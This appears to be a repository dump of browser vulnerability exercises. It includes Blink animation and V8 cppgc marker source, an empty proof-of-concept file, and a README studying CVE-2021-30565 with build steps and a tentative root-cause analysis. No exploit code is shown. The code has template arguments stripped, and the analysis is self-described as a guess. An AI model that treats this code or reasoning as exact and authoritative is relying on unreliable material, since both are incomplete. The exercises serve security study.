(options.IsKeyframeEffectOptions()) { auto* effect_options = options.GetAsKeyframeEffectOptions(); composite = EffectModel::StringToCompositeOperation(effect_options->composite()) .value(); if (RuntimeEnabledFeatures::WebAnimationsAPIEnabled() && !effect_options->pseudoElement().IsEmpty()) { pseudo = effect_options->pseudoElement(); if (!ValidateAndCanonicalizePseudo(pseudo)) { // TODO(gtsteel): update when // https://github.com/w3c/csswg-drafts/issues/4586 resolves exception_state.ThrowDOMException( DOMExceptionCode::kSyntaxError, "A valid pseudo-selector must be null or start with ::."); } } } KeyframeEffectModelBase* model = EffectInput::Convert( element, keyframes, composite, script_state, exception_state); if (exception_state.HadException()) return nullptr; KeyframeEffect* effect = MakeGarbageCollected(element, model, timing); if (!pseudo.IsEmpty()) { effect->target_pseudo_ = pseudo; if (element) { element->GetDocument().UpdateStyleAndLayoutTreeForNode(element); effect->effect_target_ = element->GetPseudoElement( CSSSelector::ParsePseudoId(pseudo, element)); } } return effect; } KeyframeEffect* KeyframeEffect::Create(ScriptState* script_state, Element* element, const ScriptValue& keyframes, ExceptionState& exception_state) { KeyframeEffectModelBase* model = EffectInput::Convert(element, keyframes, EffectModel::kCompositeReplace, script_state, exception_state); if (exception_state.HadException()) return nullptr; return MakeGarbageCollected(element, model, Timing()); } KeyframeEffect* KeyframeEffect::Create(ScriptState* script_state, KeyframeEffect* source, ExceptionState& exception_state) { Timing new_timing = source->SpecifiedTiming(); KeyframeEffectModelBase* model = source->Model()->Clone(); return MakeGarbageCollected(source->EffectTarget(), model, new_timing, source->GetPriority(), source->GetEventDelegate()); } KeyframeEffect::KeyframeEffect(Element* target, KeyframeEffectModelBase* model, const Timing& timing, Priority priority, EventDelegate* event_delegate) : AnimationEffect(timing, event_delegate), effect_target_(target), target_element_(target), target_pseudo_(), model_(model), sampled_effect_(nullptr), priority_(priority), ignore_css_keyframes_(false) { DCHECK(model_); // fix target for css animations and transitions if (target && target->IsPseudoElement()) { target_element_ = target->parentElement(); DCHECK(!target_element_->IsPseudoElement()); target_pseudo_ = target->tagName(); } CountAnimatedProperties(); } KeyframeEffect::~KeyframeEffect() = default; void KeyframeEffect::setTarget(Element* new_target) { DCHECK(!new_target || !new_target->IsPseudoElement()); target_element_ = new_target; RefreshTarget(); } const String& KeyframeEffect::pseudoElement() const { return target_pseudo_; } void KeyframeEffect::setPseudoElement(String pseudo, ExceptionState& exception_state) { if (ValidateAndCanonicalizePseudo(pseudo)) { target_pseudo_ = pseudo; } else { exception_state.ThrowDOMException( DOMExceptionCode::kSyntaxError, "A valid pseudo-selector must be null or start with ::."); } RefreshTarget(); } void KeyframeEffect::RefreshTarget() { Element* new_target; if (!target_element_) { new_target = nullptr; } else if (target_pseudo_.IsEmpty()) { new_target = target_element_; } else { target_element_->GetDocument().UpdateStyleAndLayoutTreeForNode( target_element_); PseudoId pseudoId = CSSSelector::ParsePseudoId(target_pseudo_, target_element_); new_target = target_element_->GetPseudoElement(pseudoId); } if (new_target != effect_target_) { DetachTarget(GetAnimation()); effect_target_ = new_target; AttachTarget(GetAnimation()); InvalidateAndNotifyOwner(); } } String KeyframeEffect::composite() const { return EffectModel::CompositeOperationToString(CompositeInternal()); } void KeyframeEffect::setComposite(String composite_string) { Model()->SetComposite( EffectModel::StringToCompositeOperation(composite_string).value()); ClearEffects(); InvalidateAndNotifyOwner(); } HeapVector KeyframeEffect::getKeyframes( ScriptState* script_state) { if (Animation* animation = GetAnimation()) animation->FlushPendingUpdates(); HeapVector computed_keyframes; if (!model_->HasFrames()) return computed_keyframes; // getKeyframes() returns a list of 'ComputedKeyframes'. A ComputedKeyframe // consists of the normal keyframe data combined with the computed offset for // the given keyframe. // // https://w3c.github.io/web-animations/#dom-keyframeeffectreadonly-getkeyframes KeyframeVector keyframes = ignore_css_keyframes_ ? model_->GetFrames() : model_->GetComputedKeyframes(EffectTarget()); Vector computed_offsets = KeyframeEffectModelBase::GetComputedOffsets(keyframes); computed_keyframes.ReserveInitialCapacity(keyframes.size()); ScriptState::Scope scope(script_state); for (wtf_size_t i = 0; i < keyframes.size(); i++) { V8ObjectBuilder object_builder(script_state); keyframes[i]->AddKeyframePropertiesToV8Object(object_builder, target()); object_builder.Add("computedOffset", computed_offsets[i]); computed_keyframes.push_back(object_builder.GetScriptValue()); } return computed_keyframes; } void KeyframeEffect::setKeyframes(ScriptState* script_state, const ScriptValue& keyframes, ExceptionState& exception_state) { StringKeyframeVector new_keyframes = EffectInput::ParseKeyframesArgument( target(), keyframes, script_state, exception_state); if (exception_state.HadException()) return; ignore_css_keyframes_ = true; if (auto* model = DynamicTo(Model())) SetModel(model->CloneAsEmptyStringKeyframeModel()); DCHECK(Model()->IsStringKeyframeEffectModel()); SetKeyframes(new_keyframes); } void KeyframeEffect::SetKeyframes(StringKeyframeVector keyframes) { Model()->SetComposite( EffectInput::ResolveCompositeOperation(Model()->Composite(), keyframes)); To(Model())->SetFrames(keyframes); // Changing the keyframes will invalidate any sampled effect, as well as // potentially affect the effect owner. ClearEffects(); InvalidateAndNotifyOwner(); CountAnimatedProperties(); } bool KeyframeEffect::Affects(const PropertyHandle& property) const { return model_->Affects(property); } bool KeyframeEffect::HasRevert() const { return model_->HasRevert(); } void KeyframeEffect::NotifySampledEffectRemovedFromEffectStack() { sampled_effect_ = nullptr; } CompositorAnimations::FailureReasons KeyframeEffect::CheckCanStartAnimationOnCompositor( const PaintArtifactCompositor* paint_artifact_compositor, double animation_playback_rate, PropertyHandleSet* unsupported_properties) const { CompositorAnimations::FailureReasons reasons = CompositorAnimations::kNoFailure; // There would be no reason to composite an effect that has no keyframes; it // has no visual result. if (model_->Properties().IsEmpty()) reasons |= CompositorAnimations::kInvalidAnimationOrEffect; // There would be no reason to composite an effect that has no target; it has // no visual result. if (!effect_target_) { reasons |= CompositorAnimations::kInvalidAnimationOrEffect; } else { if (effect_target_->GetComputedStyle() && effect_target_->GetComputedStyle()->HasOffset()) reasons |= CompositorAnimations::kTargetHasCSSOffset; // Do not put transforms on compositor if more than one of them are defined // in computed style because they need to be explicitly ordered if (HasMultipleTransformProperties()) reasons |= CompositorAnimations::kTargetHasMultipleTransformProperties; reasons |= CompositorAnimations::CheckCanStartAnimationOnCompositor( SpecifiedTiming(), *effect_target_, GetAnimation(), *Model(), paint_artifact_compositor, animation_playback_rate, unsupported_properties); } return reasons; } void KeyframeEffect::StartAnimationOnCompositor( int group, base::Optional start_time, base::TimeDelta time_offset, double animation_playback_rate, CompositorAnimation* compositor_animation) { DCHECK(!HasActiveAnimationsOnCompositor()); // TODO(petermayo): Maybe we should recheck that we can start on the // compositor if we have the compositable IDs somewhere. if (!compositor_animation) compositor_animation = GetAnimation()->GetCompositorAnimation(); DCHECK(compositor_animation); DCHECK(effect_target_); DCHECK(Model()); CompositorAnimations::StartAnimationOnCompositor( *effect_target_, group, start_time, time_offset, SpecifiedTiming(), GetAnimation(), *compositor_animation, *Model(), compositor_keyframe_model_ids_, animation_playback_rate); DCHECK(!compositor_keyframe_model_ids_.IsEmpty()); } bool KeyframeEffect::HasActiveAnimationsOnCompositor() const { return !compositor_keyframe_model_ids_.IsEmpty(); } bool KeyframeEffect::HasActiveAnimationsOnCompositor( const PropertyHandle& property) const { return HasActiveAnimationsOnCompositor() && Affects(property); } bool KeyframeEffect::CancelAnimationOnCompositor( CompositorAnimation* compositor_animation) { if (!HasActiveAnimationsOnCompositor()) return false; if (!effect_target_ || !effect_target_->GetLayoutObject()) return false; DCHECK(Model()); for (const auto& compositor_keyframe_model_id : compositor_keyframe_model_ids_) { CompositorAnimations::CancelAnimationOnCompositor( *effect_target_, compositor_animation, compositor_keyframe_model_id, *Model()); } compositor_keyframe_model_ids_.clear(); return true; } void KeyframeEffect::CancelIncompatibleAnimationsOnCompositor() { if (effect_target_ && GetAnimation() && model_->HasFrames()) { DCHECK(Model()); CompositorAnimations::CancelIncompatibleAnimationsOnCompositor( *effect_target_, *GetAnimation(), *Model()); } } void KeyframeEffect::PauseAnimationForTestingOnCompositor( base::TimeDelta pause_time) { DCHECK(HasActiveAnimationsOnCompositor()); if (!effect_target_ || !effect_target_->GetLayoutObject()) return; DCHECK(GetAnimation()); DCHECK(Model()); for (const auto& compositor_keyframe_model_id : compositor_keyframe_model_ids_) { CompositorAnimations::PauseAnimationForTestingOnCompositor( *effect_target_, *GetAnimation(), compositor_keyframe_model_id, pause_time, *Model()); } } void KeyframeEffect::AttachCompositedLayers() { DCHECK(effect_target_); DCHECK(GetAnimation()); CompositorAnimation* compositor_animation = GetAnimation()->GetCompositorAnimation(); // If this is a paint worklet element and it is animating custom property // only, it doesn't require an element id to run on the compositor thread. // However, our compositor animation system requires the element to be on the // property tree in order to keep ticking the animation. Therefore, we give a // very special element id for this animation so that the compositor animation // system recognize it. We do not use 0 as the element id because 0 is // kInvalidElementId. if (compositor_animation && !Model()->RequiresPropertyNode()) { compositor_animation->AttachNoElement(); return; } CompositorAnimations::AttachCompositedLayers(*effect_target_, compositor_animation); } bool KeyframeEffect::HasAnimation() const { return !!owner_; } bool KeyframeEffect::HasPlayingAnimation() const { return owner_ && owner_->Playing(); } void KeyframeEffect::Trace(Visitor* visitor) const { visitor->Trace(effect_target_); visitor->Trace(target_element_); visitor->Trace(model_); visitor->Trace(sampled_effect_); AnimationEffect::Trace(visitor); } namespace { static const size_t num_transform_properties = 4; const CSSProperty** TransformProperties() { static const CSSProperty* kTransformProperties[num_transform_properties] = { &GetCSSPropertyTransform(), &GetCSSPropertyScale(), &GetCSSPropertyRotate(), &GetCSSPropertyTranslate()}; return kTransformProperties; } } // namespace bool KeyframeEffect::UpdateBoxSizeAndCheckTransformAxisAlignment( const FloatSize& box_size) { static const auto** properties = TransformProperties(); bool preserves_axis_alignment = true; bool has_transform = false; TransformOperation::BoxSizeDependency size_dependencies = TransformOperation::kDependsNone; for (size_t i = 0; i < num_transform_properties; i++) { const auto* keyframes = Model()->GetPropertySpecificKeyframes(PropertyHandle(*properties[i])); if (!keyframes) continue; has_transform = true; for (const auto& keyframe : *keyframes) { const auto* value = keyframe->GetCompositorKeyframeValue(); if (!value) continue; const auto& transform_operations = To(value)->GetTransformOperations(); if (!transform_operations.PreservesAxisAlignment()) preserves_axis_alignment = false; size_dependencies = TransformOperation::CombineDependencies( size_dependencies, transform_operations.BoxSizeDependencies()); } } if (!has_transform) return true; if (HasAnimation()) { if (effect_target_size_) { if ((size_dependencies & TransformOperation::kDependsWidth) && (effect_target_size_->Width() != box_size.Width())) RestartRunningAnimationOnCompositor(); else if ((size_dependencies & TransformOperation::kDependsHeight) && (effect_target_size_->Height() != box_size.Height())) RestartRunningAnimationOnCompositor(); } } effect_target_size_ = box_size; return preserves_axis_alignment; } void KeyframeEffect::RestartRunningAnimationOnCompositor() { Animation* animation = GetAnimation(); if (!animation) return; // No need to to restart an animation that is in the process of starting up, // paused or idle. if (!animation->startTime()) return; animation->RestartAnimationOnCompositor(); } bool KeyframeEffect::IsIdentityOrTranslation() const { static const auto** properties = TransformProperties(); for (size_t i = 0; i < num_transform_properties; i++) { const auto* keyframes = Model()->GetPropertySpecificKeyframes(PropertyHandle(*properties[i])); if (!keyframes) continue; for (const auto& keyframe : *keyframes) { if (const auto* value = keyframe->GetCompositorKeyframeValue()) { if (!To(value) ->GetTransformOperations() .IsIdentityOrTranslation()) { return false; } } } } return true; } EffectModel::CompositeOperation KeyframeEffect::CompositeInternal() const { return model_->Composite(); } void KeyframeEffect::ApplyEffects() { DCHECK(IsInEffect()); if (!effect_target_ || !model_->HasFrames()) return; if (GetAnimation() && HasIncompatibleStyle()) { GetAnimation()->CancelAnimationOnCompositor(); } base::Optional iteration = CurrentIteration(); DCHECK(iteration); DCHECK_GE(iteration.value(), 0); bool changed = false; if (sampled_effect_) { changed = model_->Sample(clampTo(iteration.value(), 0), Progress().value(), SpecifiedTiming().IterationDuration(), sampled_effect_->MutableInterpolations()); } else { HeapVector> interpolations; model_->Sample(clampTo(iteration.value(), 0), Progress().value(), SpecifiedTiming().IterationDuration(), interpolations); if (!interpolations.IsEmpty()) { auto* sampled_effect = MakeGarbageCollected(this, owner_->SequenceNumber()); sampled_effect->MutableInterpolations().swap(interpolations); sampled_effect_ = sampled_effect; effect_target_->EnsureElementAnimations().GetEffectStack().Add( sampled_effect); changed = true; } else { return; } } if (changed) { effect_target_->SetNeedsAnimationStyleRecalc(); auto* svg_element = DynamicTo(effect_target_.Get()); if (RuntimeEnabledFeatures::WebAnimationsSVGEnabled() && svg_element) svg_element->SetWebAnimationsPending(); } } void KeyframeEffect::ClearEffects() { if (!sampled_effect_) return; sampled_effect_->Clear(); sampled_effect_ = nullptr; if (GetAnimation()) GetAnimation()->RestartAnimationOnCompositor(); if (!effect_target_->GetDocument().Lifecycle().InDetach()) effect_target_->SetNeedsAnimationStyleRecalc(); auto* svg_element = DynamicTo(effect_target_.Get()); if (RuntimeEnabledFeatures::WebAnimationsSVGEnabled() && svg_element) svg_element->ClearWebAnimatedAttributes(); Invalidate(); } void KeyframeEffect::UpdateChildrenAndEffects() const { if (!model_->HasFrames()) return; DCHECK(owner_); if (IsInEffect() && !owner_->EffectSuppressed() && !owner_->ReplaceStateRemoved()) const_cast(this)->ApplyEffects(); else const_cast(this)->ClearEffects(); } void KeyframeEffect::Attach(AnimationEffectOwner* owner) { AttachTarget(owner->GetAnimation()); AnimationEffect::Attach(owner); } void KeyframeEffect::Detach() { DetachTarget(GetAnimation()); AnimationEffect::Detach(); } void KeyframeEffect::AttachTarget(Animation* animation) { if (!effect_target_ || !animation) return; effect_target_->EnsureElementAnimations().Animations().insert(animation); effect_target_->SetNeedsAnimationStyleRecalc(); auto* svg_element = DynamicTo(effect_target_.Get()); if (RuntimeEnabledFeatures::WebAnimationsSVGEnabled() && svg_element) svg_element->SetWebAnimationsPending(); } void KeyframeEffect::DetachTarget(Animation* animation) { if (effect_target_ && animation) effect_target_->GetElementAnimations()->Animations().erase(animation); // If we have sampled this effect previously, we need to purge that state. // ClearEffects takes care of clearing the cached sampled effect, informing // the target that it needs to refresh its style, and doing any necessary // update on the compositor. ClearEffects(); } AnimationTimeDelta KeyframeEffect::CalculateTimeToEffectChange( bool forwards, base::Optional local_time, AnimationTimeDelta time_to_next_iteration) const { const double start_time = SpecifiedTiming().start_delay; const double end_time_minus_end_delay = start_time + SpecifiedTiming().ActiveDuration(); const double end_time = end_time_minus_end_delay + SpecifiedTiming().end_delay; const double after_time = std::min(end_time_minus_end_delay, end_time); Timing::Phase phase = GetPhase(); DCHECK(local_time || phase == Timing::kPhaseNone); switch (phase) { case Timing::kPhaseNone: return AnimationTimeDelta::Max(); case Timing::kPhaseBefore: // Return value is clamped at 0 to prevent unexpected results that could // be caused by returning negative values. return forwards ? AnimationTimeDelta::FromSecondsD(std::max( start_time - local_time.value(), 0)) : AnimationTimeDelta::Max(); case Timing::kPhaseActive: if (forwards) { // Need service to apply fill / fire events. const double time_to_end = after_time - local_time.value(); if (RequiresIterationEvents()) { return std::min(AnimationTimeDelta::FromSecondsD(time_to_end), time_to_next_iteration); } return AnimationTimeDelta::FromSecondsD(time_to_end); } return {}; case Timing::kPhaseAfter: DCHECK_GE(local_time.value(), after_time); if (forwards) { // If an animation has a positive-valued end delay, we need an // additional tick at the end time to ensure that the finished event is // delivered. return end_time > local_time ? AnimationTimeDelta::FromSecondsD( end_time - local_time.value()) : AnimationTimeDelta::Max(); } return AnimationTimeDelta::FromSecondsD(local_time.value() - after_time); default: NOTREACHED(); return AnimationTimeDelta::Max(); } } // Returns true if transform, translate, rotate or scale is composited // and a motion path or other transform properties // has been introduced on the element bool KeyframeEffect::HasIncompatibleStyle() const { if (!effect_target_->GetComputedStyle()) return false; if (HasActiveAnimationsOnCompositor()) { if (effect_target_->GetComputedStyle()->HasOffset()) { static const auto** properties = TransformProperties(); for (size_t i = 0; i < num_transform_properties; i++) { if (Affects(PropertyHandle(*properties[i]))) return true; } } return HasMultipleTransformProperties(); } return false; } bool KeyframeEffect::HasMultipleTransformProperties() const { if (!effect_target_->GetComputedStyle()) return false; unsigned transform_property_count = 0; if (effect_target_->GetComputedStyle()->HasTransformOperations()) transform_property_count++; if (effect_target_->GetComputedStyle()->Rotate()) transform_property_count++; if (effect_target_->GetComputedStyle()->Scale()) transform_property_count++; if (effect_target_->GetComputedStyle()->Translate()) transform_property_count++; return transform_property_count > 1; } ActiveInterpolationsMap KeyframeEffect::InterpolationsForCommitStyles() { // If the associated animation has been removed, it needs to be temporarily // reintroduced to the effect stack in order to be including in the // interpolations map. bool removed = owner_->ReplaceStateRemoved(); if (removed) ApplyEffects(); ActiveInterpolationsMap results = EffectStack::ActiveInterpolations( &target()->GetElementAnimations()->GetEffectStack(), /*new_animations=*/nullptr, /*suppressed_animations=*/nullptr, kDefaultPriority, /*property_pass_filter=*/nullptr, this); if (removed) ClearEffects(); return results; } void KeyframeEffect::SetLogicalPropertyResolutionContext( TextDirection text_direction, WritingMode writing_mode) { if (auto* model = DynamicTo(Model())) { if (model->SetLogicalPropertyResolutionContext(text_direction, writing_mode)) { ClearEffects(); InvalidateAndNotifyOwner(); } } } void KeyframeEffect::CountAnimatedProperties() const { if (target_element_) { Document& document = target_element_->GetDocument(); for (const auto& property : model_->Properties()) { if (property.IsCSSProperty()) { DCHECK(IsValidCSSPropertyID(property.GetCSSProperty().PropertyID())); document.CountAnimatedProperty(property.GetCSSProperty().PropertyID()); } } } } } // namespace blink ================================================ FILE: LEVEL_1/exercise_6/poc.html ================================================ ================================================ FILE: LEVEL_1/exercise_7/README.md ================================================ # Exercise 7 ## CVE-2021-30565 I sugget you don't search any report about it to prevents get too much info like patch. ### Details > cppgc: Fix ephemeron iterations > > If processing the marking worklists found new ephemeron pairs, but processing the existing ephemeron pairs didn't mark new objects, marking would stop and the newly discovered ephemeron pairs would not be processed. This can lead to a marked key with an unmarked value. An ephemeron pair is used to conditionally retain an object. The `value` will be kept alive only if the `key` is alive. ### Set environment set v8 environment ```sh # get depot_tools git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git # add to env var echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc # get v8 source code fetch v8 # chenge to right commit cd v8 git reset --hard f41f4fb4e66916936ed14d8f9ee20d5fb0afc548 # download others gclient sync # get ninja for compile git clone https://github.com/ninja-build/ninja.git cd ninja && ./configure.py --bootstrap && cd .. # set environment variable echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc # compile debug tools/dev/v8gen.py x64.debug ninja -C out.gn/x64.debug d8 # compile release (optional) tools/dev/v8gen.py x64.release ninja -C out.gn/x64.release d8 ``` ### Related code `src/heap/cppgc/marker.cc` `src/heap/cppgc/marking-state.h` ```c++ bool MarkerBase::ProcessWorklistsWithDeadline( size_t marked_bytes_deadline, v8::base::TimeTicks time_deadline) { StatsCollector::EnabledScope stats_scope( heap().stats_collector(), StatsCollector::kMarkTransitiveClosure); do { if ((config_.marking_type == MarkingConfig::MarkingType::kAtomic) || schedule_.ShouldFlushEphemeronPairs()) { mutator_marking_state_.FlushDiscoveredEphemeronPairs(); } // Bailout objects may be complicated to trace and thus might take longer // than other objects. Therefore we reduce the interval between deadline // checks to guarantee the deadline is not exceeded. [ ... ] { StatsCollector::EnabledScope inner_stats_scope( heap().stats_collector(), StatsCollector::kMarkProcessEphemerons); if (!DrainWorklistWithBytesAndTimeDeadline( mutator_marking_state_, marked_bytes_deadline, time_deadline, mutator_marking_state_.ephemeron_pairs_for_processing_worklist(), [this](const MarkingWorklists::EphemeronPairItem& item) { mutator_marking_state_.ProcessEphemeron( item.key, item.value, item.value_desc, visitor()); })) { return false; } } } while (!mutator_marking_state_.marking_worklist().IsLocalAndGlobalEmpty()); return true; } ``` ```c++ void MarkingStateBase::ProcessEphemeron(const void* key, const void* value, TraceDescriptor value_desc, Visitor& visitor) { // Filter out already marked keys. The write barrier for WeakMember // ensures that any newly set value after this point is kept alive and does // not require the callback. if (!HeapObjectHeader::FromObject(key) .IsInConstruction() && HeapObjectHeader::FromObject(key).IsMarked()) { if (value_desc.base_object_payload) { MarkAndPush(value_desc.base_object_payload, value_desc); } else { // If value_desc.base_object_payload is nullptr, the value is not GCed and // should be immediately traced. value_desc.callback(&visitor, value); } return; } // |discovered_ephemeron_pairs_worklist_| may still hold ephemeron pairs with // dead keys. discovered_ephemeron_pairs_worklist_.Push({key, value, value_desc}); } ``` ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer, probably wrong ```c++ // Marking algorithm. Example for a valid call sequence creating the marking // phase: // 1. StartMarking() [Called implicitly when creating a Marker using // MarkerFactory] // 2. AdvanceMarkingWithLimits() [Optional, depending on environment.] // 3. EnterAtomicPause() // 4. AdvanceMarkingWithLimits() // 5. LeaveAtomicPause() // // Alternatively, FinishMarking combines steps 3.-5. ``` https://chromium.googlesource.com/v8/v8.git/+/e677a6f6b257e992094b9183a958b67ecc68aa85 ```c++ void MarkingStateBase::ProcessEphemeron(const void* key, const void* value, TraceDescriptor value_desc, Visitor& visitor) { // Filter out already marked keys. The write barrier for WeakMember // ensures that any newly set value after this point is kept alive and does // not require the callback. if (!HeapObjectHeader::FromObject(key) .IsInConstruction() && [1] HeapObjectHeader::FromObject(key).IsMarked()) { [2] /** * value_desc.base_object_payload: * * Adjusted base pointer, i.e., the pointer to the class inheriting directly * from GarbageCollected, of the object that is being traced. */ if (value_desc.base_object_payload) { MarkAndPush(value_desc.base_object_payload, value_desc); } else { // If value_desc.base_object_payload is nullptr, the value is not GCed and // should be immediately traced. value_desc.callback(&visitor, value); } return; } discovered_ephemeron_pairs_worklist_.Push({key, value, value_desc}); // if find new ephemeron_pairs, need push } ======================================================================= template bool DrainWorklistWithPredicate(Predicate should_yield, WorklistLocal& worklist_local, Callback callback) { if (worklist_local.IsLocalAndGlobalEmpty()) return true; // For concurrent markers, should_yield also reports marked bytes. if (should_yield()) return false; size_t processed_callback_count = deadline_check_interval; typename WorklistLocal::ItemType item; while (worklist_local.Pop(&item)) { callback(item); // ProcessEphemeron if (--processed_callback_count == 0) { if (should_yield()) { return false; } processed_callback_count = deadline_check_interval; } } return true; } ``` [1] `IsInConstruction == false` means the the data of `Object` all setted up. [2] `IsMarked == true` means this `object` has been marked. the `ProcessEphemeron` will be the parameter of `DrainWorklistWithPredicate` named `callback` and `discovered_ephemeron_pairs_worklist_` pop item to call `RocessEphemeron` in loop ```c++ const HeapObjectHeader& HeapObjectHeader::FromObject(const void* object) { [3] return *reinterpret_cast( static_cast(object) - sizeof(HeapObjectHeader)); } ============================================================ template bool HeapObjectHeader::IsInConstruction() const { const uint16_t encoded = LoadEncoded(); return !FullyConstructedField::decode(encoded); [4] } ============================================================ template bool HeapObjectHeader::IsMarked() const { const uint16_t encoded = LoadEncoded(); return MarkBitField::decode(encoded); [5] } ``` [3] return the ptr to `HeapObjectHeader`, you can treat it as `addrOf(Chunk) - sizeof(ChunkHeader)` can get the addr of ChunkHeader [4] and [5] can get info of the `HeapObjectHeader` which be organized in some regular pattern. The following content explains this clearly ```c++ // Used in |encoded_high_|. using FullyConstructedField = v8::base::BitField16; [6] using UnusedField1 = FullyConstructedField::Next; using GCInfoIndexField = UnusedField1::Next; // Used in |encoded_low_|. using MarkBitField = v8::base::BitField16; using SizeField = void; // Use EncodeSize/DecodeSize instead. ============================================== // Extracts the bit field from the value. static constexpr T decode(U value) { return static_cast((value & kMask) >> kShift); [7] } ``` you can understand [6] better by this. ```c++ // HeapObjectHeader contains meta data per object and is prepended to each // object. // // +-----------------+------+------------------------------------------+ // | name | bits | | // +-----------------+------+------------------------------------------+ // | padding | 32 | Only present on 64-bit platform. | // +-----------------+------+------------------------------------------+ // | GCInfoIndex | 14 | | // | unused | 1 | | // | in construction | 1 | In construction encoded as |false|. | // +-----------------+------+------------------------------------------+ // | size | 15 | 17 bits because allocations are aligned. | // | mark bit | 1 | | // +-----------------+------+------------------------------------------+ // // Notes: // - See |GCInfoTable| for constraints on GCInfoIndex. // - |size| for regular objects is encoded with 15 bits but can actually // represent sizes up to |kBlinkPageSize| (2^17) because allocations are // always 4 byte aligned (see kAllocationGranularity) on 32bit. 64bit uses // 8 byte aligned allocations which leaves 1 bit unused. // - |size| for large objects is encoded as 0. The size of a large object is // stored in |LargeObjectPage::PayloadSize()|. // - |mark bit| and |in construction| bits are located in separate 16-bit halves // to allow potentially accessing them non-atomically. ``` So [7] can get specific bit of `HeapObjectHeader` | meta data, means the Object status information `ProcessEphemeron` func means if object has been marked and `value_desc.base_object_payload`(may be write barrier?) not null, we need to mark value_desc.base_object_payload, else we find new `ephemeron_pairs`. But if `value_desc.base_object_payload` have not been set, we need to callback (maybe used for search old space for what object prt to this value), this may lead to recursive call. And the mark process can be stoped because the time limit. There are many gc processes, if two of them call the `ProcessEphemeron` and the A process prepare to mark value. But B process find new `ephemeron_pairs`, the mark will be stoped, **I gusee** :), lead to a marked key with an unmarked value.
-------- ================================================ FILE: LEVEL_1/exercise_7/marker.cc ================================================ // Copyright 2020 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "src/heap/cppgc/marker.h" #include #include #include "include/cppgc/heap-consistency.h" #include "include/cppgc/platform.h" #include "src/base/platform/time.h" #include "src/heap/cppgc/heap-object-header.h" #include "src/heap/cppgc/heap-page.h" #include "src/heap/cppgc/heap-visitor.h" #include "src/heap/cppgc/heap.h" #include "src/heap/cppgc/liveness-broker.h" #include "src/heap/cppgc/marking-state.h" #include "src/heap/cppgc/marking-visitor.h" #include "src/heap/cppgc/process-heap.h" #include "src/heap/cppgc/stats-collector.h" #include "src/heap/cppgc/write-barrier.h" #if defined(CPPGC_CAGED_HEAP) #include "include/cppgc/internal/caged-heap-local-data.h" #endif namespace cppgc { namespace internal { namespace { bool EnterIncrementalMarkingIfNeeded(Marker::MarkingConfig config, HeapBase& heap) { if (config.marking_type == Marker::MarkingConfig::MarkingType::kIncremental || config.marking_type == Marker::MarkingConfig::MarkingType::kIncrementalAndConcurrent) { WriteBarrier::IncrementalOrConcurrentMarkingFlagUpdater::Enter(); #if defined(CPPGC_CAGED_HEAP) heap.caged_heap().local_data().is_incremental_marking_in_progress = true; #endif // defined(CPPGC_CAGED_HEAP) return true; } return false; } bool ExitIncrementalMarkingIfNeeded(Marker::MarkingConfig config, HeapBase& heap) { if (config.marking_type == Marker::MarkingConfig::MarkingType::kIncremental || config.marking_type == Marker::MarkingConfig::MarkingType::kIncrementalAndConcurrent) { WriteBarrier::IncrementalOrConcurrentMarkingFlagUpdater::Exit(); #if defined(CPPGC_CAGED_HEAP) heap.caged_heap().local_data().is_incremental_marking_in_progress = false; #endif // defined(CPPGC_CAGED_HEAP) return true; } return false; } // Visit remembered set that was recorded in the generational barrier. void VisitRememberedSlots(HeapBase& heap, MutatorMarkingState& mutator_marking_state) { #if defined(CPPGC_YOUNG_GENERATION) StatsCollector::EnabledScope stats_scope( heap.stats_collector(), StatsCollector::kMarkVisitRememberedSets); for (void* slot : heap.remembered_slots()) { auto& slot_header = BasePage::FromInnerAddress(&heap, slot) ->ObjectHeaderFromInnerAddress(slot); if (slot_header.IsYoung()) continue; // The design of young generation requires collections to be executed at the // top level (with the guarantee that no objects are currently being in // construction). This can be ensured by running young GCs from safe points // or by reintroducing nested allocation scopes that avoid finalization. DCHECK(!slot_header.template IsInConstruction()); void* value = *reinterpret_cast(slot); mutator_marking_state.DynamicallyMarkAddress(static_cast
(value)); } #endif } // Assumes that all spaces have their LABs reset. void ResetRememberedSet(HeapBase& heap) { #if defined(CPPGC_YOUNG_GENERATION) auto& local_data = heap.caged_heap().local_data(); local_data.age_table.Reset(&heap.caged_heap().allocator()); heap.remembered_slots().clear(); #endif } static constexpr size_t kDefaultDeadlineCheckInterval = 150u; template bool DrainWorklistWithBytesAndTimeDeadline(MarkingStateBase& marking_state, size_t marked_bytes_deadline, v8::base::TimeTicks time_deadline, WorklistLocal& worklist_local, Callback callback) { return DrainWorklistWithPredicate( [&marking_state, marked_bytes_deadline, time_deadline]() { return (marked_bytes_deadline <= marking_state.marked_bytes()) || (time_deadline <= v8::base::TimeTicks::Now()); }, worklist_local, callback); } size_t GetNextIncrementalStepDuration(IncrementalMarkingSchedule& schedule, HeapBase& heap) { return schedule.GetNextIncrementalStepDuration( heap.stats_collector()->allocated_object_size()); } } // namespace constexpr v8::base::TimeDelta MarkerBase::kMaximumIncrementalStepDuration; MarkerBase::IncrementalMarkingTask::IncrementalMarkingTask( MarkerBase* marker, MarkingConfig::StackState stack_state) : marker_(marker), stack_state_(stack_state), handle_(Handle::NonEmptyTag{}) {} // static MarkerBase::IncrementalMarkingTask::Handle MarkerBase::IncrementalMarkingTask::Post(cppgc::TaskRunner* runner, MarkerBase* marker) { // Incremental GC is possible only via the GCInvoker, so getting here // guarantees that either non-nestable tasks or conservative stack // scanning are supported. This is required so that the incremental // task can safely finalize GC if needed. DCHECK_IMPLIES(marker->heap().stack_support() != HeapBase::StackSupport::kSupportsConservativeStackScan, runner->NonNestableTasksEnabled()); MarkingConfig::StackState stack_state_for_task = runner->NonNestableTasksEnabled() ? MarkingConfig::StackState::kNoHeapPointers : MarkingConfig::StackState::kMayContainHeapPointers; auto task = std::make_unique(marker, stack_state_for_task); auto handle = task->handle_; if (runner->NonNestableTasksEnabled()) { runner->PostNonNestableTask(std::move(task)); } else { runner->PostTask(std::move(task)); } return handle; } void MarkerBase::IncrementalMarkingTask::Run() { if (handle_.IsCanceled()) return; StatsCollector::EnabledScope stats_scope(marker_->heap().stats_collector(), StatsCollector::kIncrementalMark); if (marker_->IncrementalMarkingStep(stack_state_)) { // Incremental marking is done so should finalize GC. marker_->heap().FinalizeIncrementalGarbageCollectionIfNeeded(stack_state_); } } 